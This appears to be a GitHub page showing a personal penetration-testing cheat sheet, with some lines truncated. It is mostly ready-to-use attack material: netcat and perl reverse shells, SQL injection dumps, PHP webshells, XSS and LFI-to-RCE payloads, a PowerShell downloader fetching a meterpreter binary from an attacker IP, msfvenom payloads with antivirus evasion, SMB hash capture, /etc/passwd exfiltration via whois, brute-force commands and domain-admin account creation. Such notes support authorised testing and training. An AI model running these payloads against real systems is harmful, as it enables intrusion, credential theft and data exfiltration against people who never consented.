Branch: master ▾ **Pentesting** / **Pentest-Cheat-Sheet**

Find file | Copy path

kmkz Update Pentest-Cheat-Sheet 16d8857 on Jul 10

1 contributor

318 lines (225 sloc) | 12.3 KB

Raw | Blame | History

```
1
2  ********************************************************************************************
3                                        Obtaining shell
4  ********************************************************************************************
5
6  Reverse Shell netcat:
7  nc -lvp 443      # Attacker listening for connection
8  nc -nv <IP Address> 443 -e /bin/sh  # Victim launch connection & give a shell
9
```

```
HPING3:
        /usr/sbin/hping3 <<< /bin/ls|
        > ls
        A B C D

SNMPWALK:
        snmpwalk 192.168.1.15 $(nc -vv 192.168.1.42 8888 >> /tmp/t)

MAN:
        root@w00t:~# man -P "/bin/ls $(whoami && /bin/sh)" ls
        echo "test" > /tmp/tata
        id
        ^Csh: 0: Can't open root
        uid=0(root)
        man: command error: sed -e '/^[[:space:]]*$/{ N; /^[[:space:]]*\n[[:space:]]*$/D; }' | (cd <fd 5> && LESS=-ix8RmP
        uid=0(root) gid=0(root) groupes=0(root))
        root@w00t:~# cat /tmp/tata
        test


*********************************************************************************************
                                        SQLi Basics
*********************************************************************************************
number of column:
        id=3 order by 100-- - // play on order by value to find number

Get vulnerable column:
        id=-3 union all select 1,2,3,4,5,6,7,8,9-- -

Get current user:
        id=-3 union all select 1,2,3,4,5,user(),7,8,9-- -

```

```
(View pentestmonkey or http://www.sqlinjection.net/union/ for ideas)


Get DBs :
        http://www.tata.com/index.php?id=-3 UNION SELECT 1,group_concat( schema_name,'<br>'),3,4,5 from information_schem


List tables + columns:

        id=-3 UNION SELECT 1,group_concat(table_name,0x3a, column_name,'<br>'),3,4,5 from information_schema.columns wher

Same request based on columns names:
        -3 UNION SELECT 1,group_concat(table_name,0x3a, column_name,'<br>'),3,4,5 from information_schema.columns where

Dump data from targeted DB + table + columns:
        -3 UNION SELECT 1,group_concat( login,0x3a,mdp,'<br>'),3,4,5 from DB_Cible.user -- - // here user is the previous

Read file:
        id=-3 UNION SELECT 1,load_file('/etc/hosts'),3,4,5  -- -

Code exec using "into outfile' (MySQL):
(phpinfo() payload in Hex.):
        -7 UNION SELECT 1,2,3,4,5,0x3c3f706870207068706970696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -

Webshell:
        <pre><?php if($_REQUEST["cmd"]) {passthru( $_REQUEST["cmd"]);}?></pre>

Blind detection:
        http://evil.com/index.php?id=29 and substring(version(),1,1)=5 -- -

        Sub SELECT ok:
                http://evil.com/index.php?id=29 and (select 1)=1  -- -

```

```
SQLMAP usage:
        Google chrome "export cookie" module + Burp proxy usage:
                sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http:



        SQLMAP tor+WaF bypassing + DBG (users enumeration):
                sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --users --tamper "space2morehash.



        Tor usage: --tor --tor-type=SOCKS5
        Random useragent:  --random-agent


*********************************************************************************************
                                        FIREWALKING
*********************************************************************************************

FW bypassing over TCP by source port fixiation:
        traceroute  -p444 -T target-ip --sport=1111 -d --back -A --max-hops=16


firewalk  -n  -pTCP -d target-port  last-node-ip target-ip -s source-port

-S usage (ports range):
        firewalk -n -S 20-445 -pTCPlast-node-ip  target-ip -s 1028
Trick:
        do not hesitate to play with src port value

nmap --script=firewalk --traceroute XXXXX  --osscan-guess -sV -O -Pn -d --top-port=20 --reason -f

*********************************************************************************************
                                        WIRELESS
*********************************************************************************************
```

```
WEP:
        aircrack-ng suite

WPA/WPA2:

        airmon-ng start wlan0

        wash -i mon0

        airodump-ng mon0

        reaver -i mon0 -b XX:XX:XX:XX:XX:XX

        reaver -i mon0 -b XX:XX:XX:XX:XX:XX -vv

Client side attacks such like"karma atack" using Mana: https://github.com/sensepost/mana

********************************************************************************************
                                        Pentest tricks and Methodology
********************************************************************************************

Mail extraction from DB dump:
        grep -EiEio '\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b' * |sort |uniq -c |sort | grep -v "pattern1"| grep -v "pa

Vhosts enumeration:

        cat vhosts.sh:
                #!/bin/bash

                echo""
                echo "[+] Finding VHOSTS for: $1"
                echo ""
                curl http://api.hackertarget.com/reverseiplookup/?q=$1
```

```
142
143 Linux password cracking:
144         root@kali:~# unshadow passwd-file.txt shadow-file.txt
145                 victim:$6$H4ndrFOW$FqzEd1MMbtEpB2azf5/xwx08arqM.jL0pk/k7ug9BksbguW81CQcof2IU4u./BExaKlc1:1000:1000:,,,:/h
146
147         root@kali:~# unshadow passwd-file.txt shadow-file.txt > unshadowed.txt
148         root@kali:~# john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
149
150 MSF basic knowledge:
151         auxiliary/scanner/portscan/tcp
152         post/windows/gather/enum_logged_on_users
153         post/multi/gather/dns_srv_lookup
154         post/windows/gather/enum_applications
155         post/windows/gather/enum_termserv (active RDP sessions)
156         post/windows/gather/enum_putty_saved_sessions (if putty)
157         post/windows/gather/credentials/credential_collector
158         post/windows/gather/enum_shares
159                 auxiliary/scanner/smb/smb_enumshares // to view on which share we can access
160         post/windows/gather/enum_snmp (SNMP on compromised host?)
161         post/multi/recon/local_exploit_suggester
162         post/windows/gather/credentials/vnc
163         auxiliary/admin/mysql/mysql_enum
164
165         Use the capture module for all protocols like SMB in order to collect creds:
166                 auxiliary/server/capture/smb
167                 http://www.adeptus-mechanicus.com/codex/metalan/metalan.html
168
169         Metepreter keylogging:
170                 keyscan:
171                         https://www.offensive-security.com/metasploit-unleashed/keylogging/
172
173                 post/windows/capture/keylog_recorder
174
```

```
        Domain admin "problem":
                use incognito
                list_tokens -u
                impersonate_token DOMAIN.DOM\\Domain_Admin_user

                - Then spawn shell and:
                        net user Pentester tAT@M45t3r /ADD /DOMAIN
                        net group "Admin du domaine" Pentester /ADD

Host discovery:
        nmap -sn 10.11.1.1-254 -oG ping_sweep_nmap.grep
        grep Up ping_sweep_nmap.grep |cut -d " " -f2 >> list.txt

ALWAYS THINK ABOUT:
        View ARP cache on each machine
        View netstat output
        Look for new subnet to pivot & pwn!

Todo:
        Take a look at the patch management
        Service fingerprinting
        Null Sessions + default passwords
        chek local FW:
                 netsh advfirewall firewall show rule name=all

        SMB vuln. assessment:
                nmap -v -p 445 --script=smb-vuln-* --script-args=unsafe=1 -iL List_windows.grep -Pn

        Test all http 80/443 (if custom then launch dirb on it)

        Identify/test network equipments:
                scan tcp 22,21,23 and udp 161 (snmp)

```

```
        if SNMP discovered:
                BF community by using custom script

*********************************************************************************************
                                        Basic Exploit Knowledge
*********************************************************************************************

Windows pwn basics:

        Gadgets finding:
                Using Immunity => !mona  modules   --then--   !mona find -s "\xff\xe4" -m VulnServer.exe (ou -m == module

                Final payload:

                        payload = 'A' * 1040 # trouv via pattern_create pis pattern_offset
                        payload += struct.pack("I", 0x65d11d71) # EIP -> JMP ESP gadget identification via mona + Immunit
                        payload += "\x90" * 10 # nopsleds
                        payload += shellcode # shellcode (msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.244 LPORT=4

*********************************************************************************************
                                        Pentesting Generic
*********************************************************************************************

Brute-force attacks:
        RDP:
                ncrack -vv --user offsec -P wordlist_perso.txt rdp://10.11.1.31
        SSH:
                hydra -l root -P wordlist_perso.txt 10.11.1.251 ssh
        .htaccess:
                medusa -h 10.11.1.8 -u admin -P wordlist_perso.txt -M http -m DIR:/cgi-bin/ -T 8

Basic php webshell:
        <pre><?php if($_REQUEST["cmd"]) {passthru( $_REQUEST["cmd"]);}?></pre>
```

```
241
242 XXS payload:
243          <script>location.href="http://10.11.0.244:8080/sL7oRAH"</script>
244          <meta http-equiv="refresh" content="0; URL=http://10.11.0.244:8080/sL7oRAH">
245
246 LFI exploitation:
247         Dump MySQL DB via LFI:
248                 wget 'http://192.168.102.181/modules.php?name=Downloads&file=..\..\..\..\..\..\..\apachefriends\xampp\mys
249                 wget 'http://192.168.12.1/modules.php?name=Downloads&file=..\..\..\..\..\..\..\apachefriends\xampp\mysql\
250                 wget 'http://192.168.12.1/modules.php?name=Downloads&file=..\..\..\..\..\..\..\apachefriends\xampp\mysql\
251
252                 Then:
253                         cp authors.* /var/lib/mysql/victim/
254                         service  mysql restart
255                         mysql -> use victim; ->   select * from authors;
256
257         RCE through LFI::
258                 nc -nvv 10.11.4.4 80 // listener
259                 <?php echo shell_exec($_GET['cmd']);?> // Payload (PHP webshell)
260
261                 Inclusion in "access.log" and remote code execution:
262                         http://10.11.4.4/addguestbook.php?name=test&comment=blah&cmd=ipconfig&LANG=../../../../../../../x
263
264                 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.244 LPORT=4444 -f exe-only > msf.exe
265
266                 The PowerShell (wget.ps1) script to DL our meterpreter look likes this:
267
268                         echo $storageDir = $pwd > get.ps1
269                         echo $webclient = New-Object System.Net.WebClient >> get.ps1
270                         echo $url = "http://10.11.0.244:1337/evil.exe" >> get.ps1
271                         echo $file = "msf.exe" >> get.ps1
272                         echo $webclient.DownloadFile($url,$file) >> get.ps1
273
```

```
                Finally it could be executed by using the following command (once the metasploit exploit/multi/handler wa

                        powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File get.ps1


XSS stored (browser exploitation):
        MSF : server/browser_autopwn2
        CVE-2018-8495: (1 click RCE via Edge/I.E 11):
                document.body.innerHTML ='<a id="q" href=\'wshfile:test/../../System32/SyncAppvPublishingServer.vbs" test
        BeeF Framework linked to MSF for more fun ;)

XSS WAF bypass (tested on 07/10/2019 against AWS WAF):
        Basic payload for JS redirect on malicious URL:
                window.location.replace("https://url.com/t.js ");
        Then:
                B64 encoding -> Double URLencoding

        Final Payload looks like:
                https://url.lol/en/t/p=<script>eval(atob(decodeURIComponent("payload"))//

Reverse shell final payload:
        perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.11.0.244:4444");STDIN->fdopen($c,r);$~->fd

Meterpreter payloads generation basics:
        msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.244 LPORT=4444 -f asp > shell.asp
        msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.11.0.244 LPORT=4444 -f elf > shell

        Inject the payload in a "legit" binary (AV bypassing for example):
                msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.244 LPORT=4444 -f exe  -x /usr/share/windows-binaries

        Reverse shell JS (client side and web apps attacks):
                msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.244 LPORT=4443 -f js_le -e generic/none
```

```
Capturing hashes (windows O.S) via SMB:
        - on attacker's machine, run a fake SMB server: "/usr/bin/impacket-smbserver PWN /tmp"
        - on target: "powershell -executionpolicy bypass -nop -file \\UNC-PATH\payload.ps1" (permit to perform paylaod de

Data exfiltration through "whois" utility:
        - on attacker's machine, launch a listener like: nc -vvv -l -p 1337
        - on victim: whois -h 10.11.13.37 -p 1337 $(cat /etc/passwd)

LolBins repositories for RCE, exfiltration and more:
        - Unix systems: https://gtfobins.github.io/#
        - Windows systems: https://lolbas-project.github.io/
```